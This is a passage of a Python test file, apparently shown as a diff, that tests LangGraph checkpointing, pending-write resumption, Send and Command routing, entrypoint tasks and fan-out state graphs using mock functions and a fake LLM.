sync_checkpointer.get({"configurable": {"thread_id": "1"}}) + assert checkpoint is not None + assert checkpoint["channel_values"].get("total") == 7 + checkpoint = sync_checkpointer.get({"configurable": {"thread_id": "2"}}) + assert checkpoint is not None + assert checkpoint["channel_values"].get("total") == 5 + + +def test_pending_writes_resume( + sync_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + class State(TypedDict): + value: Annotated[int, operator.add] + + class AwhileMaker: + def __init__(self, sleep: float, rtn: dict | Exception) -> None: + self.sleep = sleep + self.rtn = rtn + self.reset() + + def __call__(self, input: State) -> Any: + self.calls += 1 + time.sleep(self.sleep) + if isinstance(self.rtn, Exception): + raise self.rtn + else: + return self.rtn + + def reset(self): + self.calls = 0 + + one = AwhileMaker(0.1, {"value": 2}) + two = AwhileMaker(0.2, ConnectionError("I'm not good")) + builder = StateGraph(State) + builder.add_node("one", one) + builder.add_node( + "two", + two, + retry_policy=RetryPolicy(max_attempts=2, initial_interval=0, jitter=False), + ) + builder.add_edge(START, "one") + builder.add_edge(START, "two") + graph = builder.compile(checkpointer=sync_checkpointer) + + thread1: RunnableConfig = {"configurable": {"thread_id": "1"}} + with pytest.raises(ConnectionError, match="I'm not good"): + graph.invoke({"value": 1}, thread1, durability=durability) + + # both nodes should have been called once + assert one.calls == 1 + assert two.calls == 2 # two attempts + + # latest checkpoint should be before nodes "one", "two" + # but we should have applied the write from "one" + state = graph.get_state(thread1) + assert state is not None + assert state.values == {"value": 3} + assert state.next == ("two",) + assert state.tasks == ( + PregelTask(AnyStr(), "one", (PULL, "one"), result={"value": 2}), + PregelTask(AnyStr(), "two", (PULL, "two"), 'ConnectionError("I\'m not good")'), + ) + assert state.metadata == { + "parents": {}, + "source": "loop", + "step": 0, + } + # get_state with checkpoint_id should not apply any pending writes + state = graph.get_state(state.config) + assert state is not None + assert state.values == {"value": 1} + assert state.next == ("one", "two") + # should contain pending write of "one" + checkpoint = sync_checkpointer.get_tuple(thread1) + assert checkpoint is not None + # should contain error from "two" + expected_writes = [ + (AnyStr(), "value", 2), + (AnyStr(), ERROR, 'ConnectionError("I\'m not good")'), + ] + assert len(checkpoint.pending_writes) == 2 + assert all(w in expected_writes for w in checkpoint.pending_writes) + # both non-error pending writes come from same task + non_error_writes = [w for w in checkpoint.pending_writes if w[1] != ERROR] + # error write is from the other task + error_write = next(w for w in checkpoint.pending_writes if w[1] == ERROR) + assert error_write[0] != non_error_writes[0][0] + + # resume execution + with pytest.raises(ConnectionError, match="I'm not good"): + graph.invoke(None, thread1, durability=durability) + + # node "one" succeeded previously, so shouldn't be called again + assert one.calls == 1 + # node "two" should have been called once again + assert two.calls == 4 # two attempts before + two attempts now + + # confirm no new checkpoints saved + state_two = graph.get_state(thread1) + assert state_two.metadata == state.metadata + + # resume execution, without exception + two.rtn = {"value": 3} + # both the pending write and the new write were applied, 1 + 2 + 3 = 6 + assert graph.invoke(None, thread1, durability=durability) == {"value": 6} + + # check all final checkpoints + checkpoints = [c for c in sync_checkpointer.list(thread1)] + # we should have 3 + assert len(checkpoints) == (3 if durability != "exit" else 2) + # the last one not too interesting for this test + assert checkpoints[0] == CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + checkpoint={ + "v": 4, + "id": AnyStr(), + "ts": AnyStr(), + "versions_seen": { + "one": { + "branch:to:one": AnyVersion(), + }, + "two": { + "branch:to:two": AnyVersion(), + }, + "__input__": {}, + "__start__": { + "__start__": AnyVersion(), + }, + "__interrupt__": { + "value": AnyVersion(), + "__start__": AnyVersion(), + "branch:to:one": AnyVersion(), + "branch:to:two": AnyVersion(), + }, + }, + "channel_versions": { + "value": AnyVersion(), + "__start__": AnyVersion(), + "branch:to:one": AnyVersion(), + "branch:to:two": AnyVersion(), + }, + "channel_values": {"value": 6}, + "updated_channels": ["value"], + }, + metadata={ + "parents": {}, + "step": 1, + "source": "loop", + }, + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": checkpoints[1].config["configurable"]["checkpoint_id"], + } + }, + pending_writes=[], + ) + # the previous one we assert that pending writes contains both + # - original error + # - successful writes from resuming after preventing error + assert checkpoints[1] == CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + checkpoint={ + "v": 4, + "id": AnyStr(), + "ts": AnyStr(), + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": AnyVersion(), + }, + }, + "channel_versions": { + "value": AnyVersion(), + "__start__": AnyVersion(), + "branch:to:one": AnyVersion(), + "branch:to:two": AnyVersion(), + }, + "channel_values": { + "value": 1, + "branch:to:one": None, + "branch:to:two": None, + }, + "updated_channels": ["branch:to:one", "branch:to:two", "value"], + }, + metadata={ + "parents": {}, + "step": 0, + "source": "loop", + }, + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": ( + checkpoints[2].config["configurable"]["checkpoint_id"] + ), + } + } + if durability != "exit" + else None, + pending_writes=( + UnsortedSequence( + (AnyStr(), "value", 2), + (AnyStr(), "__error__", 'ConnectionError("I\'m not good")'), + (AnyStr(), "value", 3), + ) + if durability != "exit" + else UnsortedSequence( + (AnyStr(), "value", 2), + (AnyStr(), "__error__", 'ConnectionError("I\'m not good")'), + # the write against the previous checkpoint is not saved, as it is + # produced in a run where only the next checkpoint (the last) is saved + ) + ), + ) + if durability == "exit": + return + assert checkpoints[2] == CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + checkpoint={ + "v": 4, + "id": AnyStr(), + "ts": AnyStr(), + "versions_seen": {"__input__": {}}, + "channel_versions": { + "__start__": AnyVersion(), + }, + "channel_values": {"__start__": {"value": 1}}, + "updated_channels": ["__start__"], + }, + metadata={ + "parents": {}, + "step": -1, + "source": "input", + }, + parent_config=None, + pending_writes=UnsortedSequence( + (AnyStr(), "value", 1), + (AnyStr(), "branch:to:one", None), + (AnyStr(), "branch:to:two", None), + ), + ) + + +def test_cond_edge_after_send() -> None: + class Node: + def __init__(self, name: str): + self.name = name + setattr(self, "__name__", name) + + def __call__(self, state): + return [self.name] + + def send_for_fun(state): + return [Send("2", state), Send("2", state)] + + def route_to_three(state) -> Literal["3"]: + return "3" + + builder = StateGraph(Annotated[list, operator.add]) + builder.add_node(Node("1")) + builder.add_node(Node("2")) + builder.add_node(Node("3")) + builder.add_edge(START, "1") + builder.add_conditional_edges("1", send_for_fun) + builder.add_conditional_edges("2", route_to_three) + graph = builder.compile() + assert graph.invoke(["0"]) == ["0", "1", "2", "2", "3"] + + +def test_concurrent_emit_sends() -> None: + class Node: + def __init__(self, name: str): + self.name = name + setattr(self, "__name__", name) + + def __call__(self, state): + return ( + [self.name] + if isinstance(state, list) + else ["|".join((self.name, str(state)))] + ) + + def send_for_fun(state): + return [Send("2", 1), Send("2", 2), "3.1"] + + def send_for_profit(state): + return [Send("2", 3), Send("2", 4)] + + def route_to_three(state) -> Literal["3"]: + return "3" + + builder = StateGraph(Annotated[list, operator.add]) + builder.add_node(Node("1")) + builder.add_node(Node("1.1")) + builder.add_node(Node("2")) + builder.add_node(Node("3")) + builder.add_node(Node("3.1")) + builder.add_edge(START, "1") + builder.add_edge(START, "1.1") + builder.add_conditional_edges("1", send_for_fun) + builder.add_conditional_edges("1.1", send_for_profit) + builder.add_conditional_edges("2", route_to_three) + graph = builder.compile() + assert graph.invoke(["0"]) == [ + "0", + "1", + "1.1", + "3.1", + "2|1", + "2|2", + "2|3", + "2|4", + "3", + ] + + +def test_send_sequences() -> None: + class Node: + def __init__(self, name: str): + self.name = name + setattr(self, "__name__", name) + + def __call__(self, state): + update = ( + [self.name] + if isinstance(state, list) + else ["|".join((self.name, str(state)))] + ) + if isinstance(state, Command): + return [state, Command(update=update)] + else: + return update + + def send_for_fun(state): + return [ + Send("2", Command(goto=Send("2", 3))), + Send("2", Command(goto=Send("2", 4))), + "3.1", + ] + + def route_to_three(state) -> Literal["3"]: + return "3" + + builder = StateGraph(Annotated[list, operator.add]) + builder.add_node(Node("1")) + builder.add_node(Node("2")) + builder.add_node(Node("3")) + builder.add_node(Node("3.1")) + builder.add_edge(START, "1") + builder.add_conditional_edges("1", send_for_fun) + builder.add_conditional_edges("2", route_to_three) + graph = builder.compile() + assert graph.invoke(["0"]) == [ + "0", + "1", + "3.1", + "2|Command(goto=Send(node='2', arg=3))", + "2|Command(goto=Send(node='2', arg=4))", + "3", + "2|3", + "2|4", + "3", + ] + + +def test_imp_task( + sync_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + mapper_calls = 0 + + class Context(TypedDict): + model: str + + @task() + def mapper(input: int) -> str: + nonlocal mapper_calls + mapper_calls += 1 + time.sleep(input / 100) + return str(input) * 2 + + @entrypoint(checkpointer=sync_checkpointer, context_schema=Context) + def graph(input: list[int]) -> list[str]: + futures = [mapper(i) for i in input] + mapped = [f.result() for f in futures] + answer = interrupt("question") + return [m + answer for m in mapped] + + assert graph.get_input_jsonschema() == { + "type": "array", + "items": {"type": "integer"}, + "title": "LangGraphInput", + } + assert graph.get_output_jsonschema() == { + "type": "array", + "items": {"type": "string"}, + "title": "LangGraphOutput", + } + assert graph.get_context_jsonschema() == { + "properties": {"model": {"title": "Model", "type": "string"}}, + "required": ["model"], + "title": "Context", + "type": "object", + } + + thread1 = {"configurable": {"thread_id": "1"}} + result = [*graph.stream([0, 1], thread1, durability=durability)] + # mapper tasks run concurrently so output order is non-deterministic + assert sorted(result[:-1], key=lambda d: str(d)) == [ + {"mapper": "00"}, + {"mapper": "11"}, + ] + assert result[-1] == { + "__interrupt__": ( + Interrupt( + value="question", + id=AnyStr(), + ), + ) + } + assert mapper_calls == 2 + + assert graph.invoke(Command(resume="answer"), thread1, durability=durability) == [ + "00answer", + "11answer", + ] + assert mapper_calls == 2 + + +def test_imp_nested( + sync_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + def mynode(input: list[str]) -> list[str]: + return [it + "a" for it in input] + + builder = StateGraph(list[str]) + builder.add_node(mynode) + builder.add_edge(START, "mynode") + add_a = builder.compile() + + @task + def submapper(input: int) -> str: + time.sleep(input / 100) + return str(input) + + @task() + def mapper(input: int) -> str: + sub = submapper(input) + time.sleep(input / 100) + return sub.result() * 2 + + @entrypoint(checkpointer=sync_checkpointer) + def graph(input: list[int]) -> list[str]: + futures = [mapper(i) for i in input] + mapped = [f.result() for f in futures] + answer = interrupt("question") + final = [m + answer for m in mapped] + return add_a.invoke(final) + + assert graph.get_input_jsonschema() == { + "type": "array", + "items": {"type": "integer"}, + "title": "LangGraphInput", + } + assert graph.get_output_jsonschema() == { + "type": "array", + "items": {"type": "string"}, + "title": "LangGraphOutput", + } + + thread1 = {"configurable": {"thread_id": "1"}} + result = [*graph.stream([0, 1], thread1, durability=durability)] + # nested tasks run concurrently so output order is non-deterministic + assert sorted(result[:-1], key=lambda d: str(d)) == [ + {"mapper": "00"}, + {"mapper": "11"}, + {"submapper": "0"}, + {"submapper": "1"}, + ] + assert result[-1] == { + "__interrupt__": ( + Interrupt( + value="question", + id=AnyStr(), + ), + ) + } + + assert graph.invoke(Command(resume="answer"), thread1, durability=durability) == [ + "00answera", + "11answera", + ] + + +def test_imp_stream_order( + sync_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + @task() + def foo(state: dict) -> tuple: + return state["a"] + "foo", "bar" + + @task + def bar(a: str, b: str, c: str | None = None) -> dict: + return {"a": a + b, "c": (c or "") + "bark"} + + @task + def baz(state: dict) -> dict: + return {"a": state["a"] + "baz", "c": "something else"} + + @entrypoint(checkpointer=sync_checkpointer) + def graph(state: dict) -> dict: + fut_foo = foo(state) + fut_bar = bar(*fut_foo.result()) + fut_baz = baz(fut_bar.result()) + return fut_baz.result() + + thread1 = {"configurable": {"thread_id": "1"}} + assert [c for c in graph.stream({"a": "0"}, thread1, durability=durability)] == [ + { + "foo": ( + "0foo", + "bar", + ) + }, + {"bar": {"a": "0foobar", "c": "bark"}}, + {"baz": {"a": "0foobarbaz", "c": "something else"}}, + {"graph": {"a": "0foobarbaz", "c": "something else"}}, + ] + + assert graph.get_state(thread1).values == {"a": "0foobarbaz", "c": "something else"} + + +def test_invoke_checkpoint_three( + mocker: MockerFixture, sync_checkpointer: BaseCheckpointSaver +) -> None: + adder = mocker.Mock(side_effect=lambda x: x["total"] + x["input"]) + + def raise_if_above_10(input: int) -> int: + if input > 10: + raise ValueError("Input is too large") + return input + + one = ( + NodeBuilder() + .subscribe_to("input") + .read_from("total") + .do(adder) + .write_to("output", "total") + .do(raise_if_above_10) + ) + + app = Pregel( + nodes={"one": one}, + channels={ + "total": BinaryOperatorAggregate(int, operator.add), + "input": LastValue(int), + "output": LastValue(int), + }, + input_channels="input", + output_channels="output", + checkpointer=sync_checkpointer, + ) + + thread_1 = {"configurable": {"thread_id": "1"}} + # total starts out as 0, so output is 0+2=2 + assert app.invoke(2, thread_1, durability="async") == 2 + state = app.get_state(thread_1) + assert state is not None + assert state.values.get("total") == 2 + assert state.next == () + assert ( + state.config["configurable"]["checkpoint_id"] + == sync_checkpointer.get(thread_1)["id"] + ) + # total is now 2, so output is 2+3=5 + assert app.invoke(3, thread_1, durability="async") == 5 + state = app.get_state(thread_1) + assert state is not None + assert state.values.get("total") == 7 + assert ( + state.config["configurable"]["checkpoint_id"] + == sync_checkpointer.get(thread_1)["id"] + ) + # total is now 2+5=7, so output would be 7+4=11, but raises ValueError + with pytest.raises(ValueError): + app.invoke(4, thread_1, durability="async") + # checkpoint is updated with new input + state = app.get_state(thread_1) + assert state is not None + assert state.values.get("total") == 7 + assert state.next == ("one",) + """we checkpoint inputs and it failed on "one", so the next node is one""" + # we can recover from error by sending new inputs + assert app.invoke(2, thread_1, durability="async") == 9 + state = app.get_state(thread_1) + assert state is not None + assert state.values.get("total") == 16, "total is now 7+9=16" + assert state.next == () + + thread_2 = {"configurable": {"thread_id": "2"}} + # on a new thread, total starts out as 0, so output is 0+5=5 + assert app.invoke(5, thread_2) == 5 + state = app.get_state(thread_1) + assert state is not None + assert state.values.get("total") == 16 + assert state.next == (), "checkpoint of other thread not touched" + state = app.get_state(thread_2) + assert state is not None + assert state.values.get("total") == 5 + assert state.next == () + + assert len(list(app.get_state_history(thread_1, limit=1))) == 1 + # list all checkpoints for thread 1 + thread_1_history = [c for c in app.get_state_history(thread_1)] + # there are 7 checkpoints + assert len(thread_1_history) == 7 + assert Counter(c.metadata["source"] for c in thread_1_history) == { + "input": 4, + "loop": 3, + } + # sorted descending + assert ( + thread_1_history[0].config["configurable"]["checkpoint_id"] + > thread_1_history[1].config["configurable"]["checkpoint_id"] + ) + # cursor pagination + cursored = list( + app.get_state_history(thread_1, limit=1, before=thread_1_history[0].config) + ) + assert len(cursored) == 1 + assert cursored[0].config == thread_1_history[1].config + # the last checkpoint + assert thread_1_history[0].values["total"] == 16 + # the first "loop" checkpoint + assert thread_1_history[-2].values["total"] == 2 + # can get each checkpoint using aget with config + assert ( + sync_checkpointer.get(thread_1_history[0].config)["id"] + == thread_1_history[0].config["configurable"]["checkpoint_id"] + ) + assert ( + sync_checkpointer.get(thread_1_history[1].config)["id"] + == thread_1_history[1].config["configurable"]["checkpoint_id"] + ) + + thread_1_next_config = app.update_state(thread_1_history[1].config, 10) + # update creates a new checkpoint + assert ( + thread_1_next_config["configurable"]["checkpoint_id"] + > thread_1_history[0].config["configurable"]["checkpoint_id"] + ) + # update makes new checkpoint child of the previous one + assert ( + app.get_state(thread_1_next_config).parent_config == thread_1_history[1].config + ) + # 1 more checkpoint in history + assert len(list(app.get_state_history(thread_1))) == 8 + assert Counter(c.metadata["source"] for c in app.get_state_history(thread_1)) == { + "update": 1, + "input": 4, + "loop": 3, + } + # the latest checkpoint is the updated one + assert app.get_state(thread_1) == app.get_state(thread_1_next_config) + + +def test_invoke_two_processes_two_in_join_two_out(mocker: MockerFixture) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + add_10_each = mocker.Mock(side_effect=lambda x: sorted(y + 10 for y in x)) + + one = NodeBuilder().subscribe_only("input").do(add_one).write_to("inbox") + chain_three = NodeBuilder().subscribe_only("input").do(add_one).write_to("inbox") + chain_four = ( + NodeBuilder().subscribe_only("inbox").do(add_10_each).write_to("output") + ) + + app = Pregel( + nodes={ + "one": one, + "chain_three": chain_three, + "chain_four": chain_four, + }, + channels={ + "inbox": Topic(int), + "output": LastValue(int), + "input": LastValue(int), + }, + input_channels="input", + output_channels="output", + ) + + # Then invoke app + # We get a single array result as chain_four waits for all publishers to finish + # before operating on all elements published to topic_two as an array + for _ in range(100): + assert app.invoke(2) == [13, 13] + + with ThreadPoolExecutor() as executor: + assert [*executor.map(app.invoke, [2] * 100)] == [[13, 13]] * 100 + + +def test_invoke_join_then_call_other_pregel( + mocker: MockerFixture, sync_checkpointer: BaseCheckpointSaver +) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + add_10_each = mocker.Mock(side_effect=lambda x: [y + 10 for y in x]) + + inner_app = Pregel( + nodes={ + "one": NodeBuilder().subscribe_only("input").do(add_one).write_to("output") + }, + channels={ + "output": LastValue(int), + "input": LastValue(int), + }, + input_channels="input", + output_channels="output", + ) + + one = NodeBuilder().subscribe_only("input").do(add_10_each).write_to("inbox_one") + two = ( + NodeBuilder() + .subscribe_only("inbox_one") + .do(inner_app.map()) + .write_to("outbox_one") + ) + chain_three = NodeBuilder().subscribe_only("outbox_one").do(sum).write_to("output") + + app = Pregel( + nodes={ + "one": one, + "two": two, + "chain_three": chain_three, + }, + channels={ + "inbox_one": Topic(int), + "outbox_one": LastValue(int), + "output": LastValue(int), + "input": LastValue(int), + }, + input_channels="input", + output_channels="output", + ) + + for _ in range(10): + assert app.invoke([2, 3]) == 27 + + with ThreadPoolExecutor() as executor: + assert [*executor.map(app.invoke, [[2, 3]] * 10)] == [27] * 10 + + # add checkpointer + app.checkpointer = sync_checkpointer + # subgraph is called twice in the same node, but that works + assert app.invoke([2, 3], {"configurable": {"thread_id": "1"}}) == 27 + + # set inner graph checkpointer NeverCheckpoint + inner_app.checkpointer = False + # subgraph still called twice, but checkpointing for inner graph is disabled + assert app.invoke([2, 3], {"configurable": {"thread_id": "1"}}) == 27 + + +def test_invoke_two_processes_one_in_two_out(mocker: MockerFixture) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + + one = ( + NodeBuilder().subscribe_only("input").do(add_one).write_to("output", "between") + ) + two = NodeBuilder().subscribe_only("between").do(add_one).write_to("output") + + app = Pregel( + nodes={"one": one, "two": two}, + channels={ + "input": LastValue(int), + "between": LastValue(int), + "output": LastValue(int), + }, + stream_channels=["output", "between"], + input_channels="input", + output_channels="output", + ) + + assert [c for c in app.stream(2, stream_mode="updates")] == [ + {"one": {"between": 3, "output": 3}}, + {"two": {"output": 4}}, + ] + assert [c for c in app.stream(2)] == [ + {"between": 3, "output": 3}, + {"between": 3, "output": 4}, + ] + + +def test_invoke_two_processes_no_out(mocker: MockerFixture) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + one = NodeBuilder().subscribe_only("input").do(add_one).write_to("between") + two = NodeBuilder().subscribe_only("between").do(add_one) + + app = Pregel( + nodes={"one": one, "two": two}, + channels={ + "input": LastValue(int), + "between": LastValue(int), + "output": LastValue(int), + }, + input_channels="input", + output_channels="output", + ) + + # It finishes executing (once no more messages being published) + # but returns nothing, as nothing was published to OUT topic + assert app.invoke(2) is None + + +def test_invoke_two_processes_no_in(mocker: MockerFixture) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + + one = NodeBuilder().subscribe_only("between").do(add_one).write_to("output") + two = NodeBuilder().subscribe_only("between").do(add_one) + + with pytest.raises(TypeError): + Pregel(nodes={"one": one, "two": two}) + + +def test_conditional_entrypoint_to_multiple_state_graph( + snapshot: SnapshotAssertion, +) -> None: + class OverallState(TypedDict): + locations: list[str] + results: Annotated[list[str], operator.add] + + def get_weather(state: OverallState) -> OverallState: + location = state["location"] + weather = "sunny" if len(location) > 2 else "cloudy" + return {"results": [f"It's {weather} in {location}"]} + + def continue_to_weather(state: OverallState) -> list[Send]: + return [ + Send("get_weather", {"location": location}) + for location in state["locations"] + ] + + workflow = StateGraph(OverallState) + + workflow.add_node("get_weather", get_weather) + workflow.add_edge("get_weather", END) + workflow.set_conditional_entry_point(continue_to_weather, path_map=["get_weather"]) + + app = workflow.compile() + + assert json.dumps(app.get_input_jsonschema()) == snapshot + assert json.dumps(app.get_output_jsonschema()) == snapshot + assert json.dumps(app.get_graph().to_json(), indent=2) == snapshot + assert app.get_graph().draw_mermaid(with_styles=False) == snapshot + + assert app.invoke({"locations": ["sf", "nyc"]}, debug=True) == { + "locations": ["sf", "nyc"], + "results": ["It's cloudy in sf", "It's sunny in nyc"], + } + + assert [*app.stream({"locations": ["sf", "nyc"]}, stream_mode="values")][-1] == { + "locations": ["sf", "nyc"], + "results": ["It's cloudy in sf", "It's sunny in nyc"], + } + + +def test_conditional_state_graph_with_list_edge_inputs(snapshot: SnapshotAssertion): + class State(TypedDict): + foo: Annotated[list[str], operator.add] + + graph_builder = StateGraph(State) + graph_builder.add_node("A", lambda x: {"foo": ["A"]}) + graph_builder.add_node("B", lambda x: {"foo": ["B"]}) + graph_builder.add_edge(START, "A") + graph_builder.add_edge(START, "B") + graph_builder.add_edge(["A", "B"], END) + + app = graph_builder.compile() + assert app.invoke({"foo": []}) == {"foo": ["A", "B"]} + + assert json.dumps(app.get_graph().to_json(), indent=2) == snapshot + assert app.get_graph().draw_mermaid(with_styles=False) == snapshot + + +def test_state_graph_w_config_inherited_state_keys(snapshot: SnapshotAssertion) -> None: + from langchain_core.language_models.fake import FakeStreamingListLLM + from langchain_core.prompts import PromptTemplate + from langchain_core.tools import tool + + class BaseState(TypedDict): + input: str + agent_outcome: AgentAction | AgentFinish | None + + class AgentState(BaseState, total=False): + intermediate_steps: Annotated[list[tuple[AgentAction, str]], operator.add] + + assert get_type_hints(AgentState).keys() == { + "input", + "agent_outcome", + "intermediate_steps", + } + + class Context(TypedDict, total=False): + tools: list[str] + + # Assemble the tools + @tool() + def search_api(query: str) -> str: + """Searches the API for the query.""" + return f"result for {query}" + + tools = [search_api] + + # Construct the agent + prompt = PromptTemplate.from_template("Hello!") + + llm = FakeStreamingListLLM( + responses=[ + "tool:search_api:query", + "tool:search_api:another", + "finish:answer", + ] + ) + + def agent_parser(input: str) -> dict[str, AgentAction | AgentFinish]: + if input.startswith("finish"): + _, answer = input.split(":") + return { + "agent_outcome": AgentFinish( + return_values={"answer": answer}, log=input + ) + } + else: + _, tool_name, tool_input = input.split(":") + return { + "agent_outcome": AgentAction( + tool=tool_name, tool_input=tool_input, log=input + ) + } + + agent = prompt | llm | agent_parser + + # Define tool execution logic + def execute_tools(data: AgentState) -> dict: + agent_action: AgentAction = data.pop("agent_outcome") + observation = {t.name: t for t in tools}[agent_action.tool].invoke( + agent_action.tool_input + ) + return {"intermediate_steps": [(agent_action, observation)]} + + # Define decision-making logic + def should_continue(data: AgentState) -> str: + # Logic to decide whether to continue in the loop or exit + if isinstance(data["agent_outcome"], AgentFinish): + return "exit" + else: + return "continue" + + # Define a new graph + builder = StateGraph(AgentState, Context) + + builder.add_node("agent", agent) + builder.add_node("tools", execute_tools) + + builder.set_entry_point("agent") + + builder.add_conditional_edges( + "agent", should_continue, {"continue": "tools", "exit": END} + ) + + builder.add_edge("tools", "agent") + + app = builder.compile() + + assert json.dumps(app.get_context_jsonschema()) == snapshot + assert json.dumps(app.get_input_jsonschema()) == snapshot + assert json.dumps(app.get_output_jsonschema()) == snapshot + + assert builder.channels.keys() == {"input", "agent_outcome", "intermediate_steps"} + + assert app.invoke({"input": "what is weather in sf"}) == { + "agent_outcome": AgentFinish( + return_values={"answer": "answer"}, log="finish:answer" + ), + "input": "what is weather in sf", + "intermediate_steps": [ + ( + AgentAction( + tool="search_api", tool_input="query", log="tool:search_api:query" + ), + "result for query", + ), + ( + AgentAction( + tool="search_api", + tool_input="another", + log="tool:search_api:another", + ), + "result for another", + ), + ], + } + + +def test_conditional_entrypoint_graph_state(snapshot: SnapshotAssertion) -> None: + class AgentState(TypedDict, total=False): + input: str + output: str + steps: Annotated[list[str], operator.add] + + def left(data: AgentState) -> AgentState: + return {"output": data["input"] + "->left"} + + def right(data: AgentState) -> AgentState: + return {"output": data["input"] + "->right"} + + def should_start(data: AgentState) -> str: + assert data["steps"] == [], "Expected input to be read from the state" + # Logic to decide where to start + if len(data["input"]) > 10: + return "go-right" + else: + return "go-left" + + # Define a new graph + workflow = StateGraph(AgentState) + + workflow.add_node("left", left) + workflow.add_node("right", right) + + workflow.set_conditional_entry_point( + should_start, {"go-left": "left", "go-right": "right"} + ) + + workflow.add_conditional_edges("left", lambda data: END, {END: END}) + workflow.add_edge("right", END) + + app = workflow.compile() + + assert json.dumps(app.get_input_jsonschema()) == snapshot + assert json.dumps(app.get_output_jsonschema()) == snapshot + assert json.dumps(app.get_graph().to_json(), indent=2) == snapshot + assert app.get_graph().draw_mermaid(with_styles=False) == snapshot + + assert app.invoke({"input": "what is weather in sf"}) == { + "input": "what is weather in sf", + "output": "what is weather in sf->right", + "steps": [], + } + + assert [*app.stream({"input": "what is weather in sf"})] == [ + {"right": {"output": "what is weather in sf->right"}}, + ] + + +def test_in_one_fan_out_state_graph_waiting_edge( + snapshot: SnapshotAssertion, sync_checkpointer: BaseCheckpointSaver +) -> None: + def sorted_add(x: list[str], y: list[str] | list[tuple[str, str]]) -> list[str]: + if isinstance(y[0], tuple): + for rem, _ in y: + x.remove(rem) + y = [t[1] for t in y] + return sorted(operator.add(x, y)) + + class State(TypedDict, total=False): + query: str + answer: str + docs: Annotated[list[str], sorted_add] + + workflow = StateGraph(State) + + @workflow.add_node + def rewrite_query(data: State) -> State: + return {"query": f"query: {data['query']}"} + + def analyzer_one(data: State) -> State: + return {"query": f"analyzed: {data['query']}"} + + def retriever_one(data: State) -> State: + return {"docs": ["doc1", "doc2"]} + + def retriever_two(data: State) -> State: + time.sleep(0.1) # to ensure stream order + return {"docs": ["doc3", "doc4"]} + + def qa(data: State) -> State: + return {"answer": ",".join(data["docs"])} + + workflow.add_node(analyzer_one) + workflow.add_node(retriever_one) + workflow.add_node(retriever_two) + workflow.add_node(qa) + + workflow.set_entry_point("rewrite_query") + workflow.add_edge("rewrite_query", "analyzer_one") + workflow.add_edge("analyzer_one", "retriever_one") + workflow.add_edge("rewrite_query", "retriever_two") + workflow.add_edge(["retriever_one", "retriever_two"], "qa") + workflow.set_finish_point("qa") + + app = workflow.compile() + + if isinstance(sync_checkpointer, InMemorySaver): + assert app.get_graph().draw_mermaid(with_styles=False) == snapshot + + assert app.invoke({"query": "what is weather in sf"}) == { + "query": "analyzed: query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + "answer": "doc1,doc2,doc3,doc4", + } + + assert [*app.stream({"query": "what is weather in sf"})] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + app_w_interrupt = workflow.compile( + checkpointer=sync_checkpointer, + interrupt_after=["retriever_one"], + ) + config = {"configurable": {"thread_id": "1"}} + + assert [ + c for c in app_w_interrupt.stream({"query": "what is weather in sf"}, config) + ] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"__interrupt__": ()}, + ] + + assert [c for c in app_w_interrupt.stream(None, config)] == [ + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + app_w_interrupt = workflow.compile( + checkpointer=sync_checkpointer, + interrupt_before=["qa"], + ) + config = {"configurable": {"thread_id": "2"}} + + assert [ + c for c in app_w_interrupt.stream({"query": "what is weather in sf"}, config) + ] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"__interrupt__": ()}, + ] + + app_w_interrupt.update_state(config, {"docs": ["doc5"]}) + expected_parent_config = list(app_w_interrupt.checkpointer.list(config, limit=2))[ + -1 + ].config + assert app_w_interrupt.get_state(config) == StateSnapshot( + values={ + "query": "analyzed: query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4", "doc5"], + }, + tasks=(PregelTask(AnyStr(), "qa", (PULL, "qa")),), + next=("qa",), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 4, + }, + parent_config=expected_parent_config, + interrupts=(), + ) + + assert [c for c in app_w_interrupt.stream(None, config, debug=1)] == [ + {"qa": {"answer": "doc1,doc2,doc3,doc4,doc5"}}, + ] + + +@pytest.mark.parametrize("use_waiting_edge", (True, False)) +def test_in_one_fan_out_state_graph_defer_node( + snapshot: SnapshotAssertion, + sync_checkpointer: BaseCheckpointSaver, + use_waiting_edge: bool, +) -> None: + def sorted_add(x: list[str], y: list[str] | list[tuple[str, str]]) -> list[str]: + if isinstance(y[0], tuple): + for rem, _ in y: + x.remove(rem) + y = [t[1] for t in y] + return sorted(operator.add(x, y)) + + class State(TypedDict, total=False): + query: str + 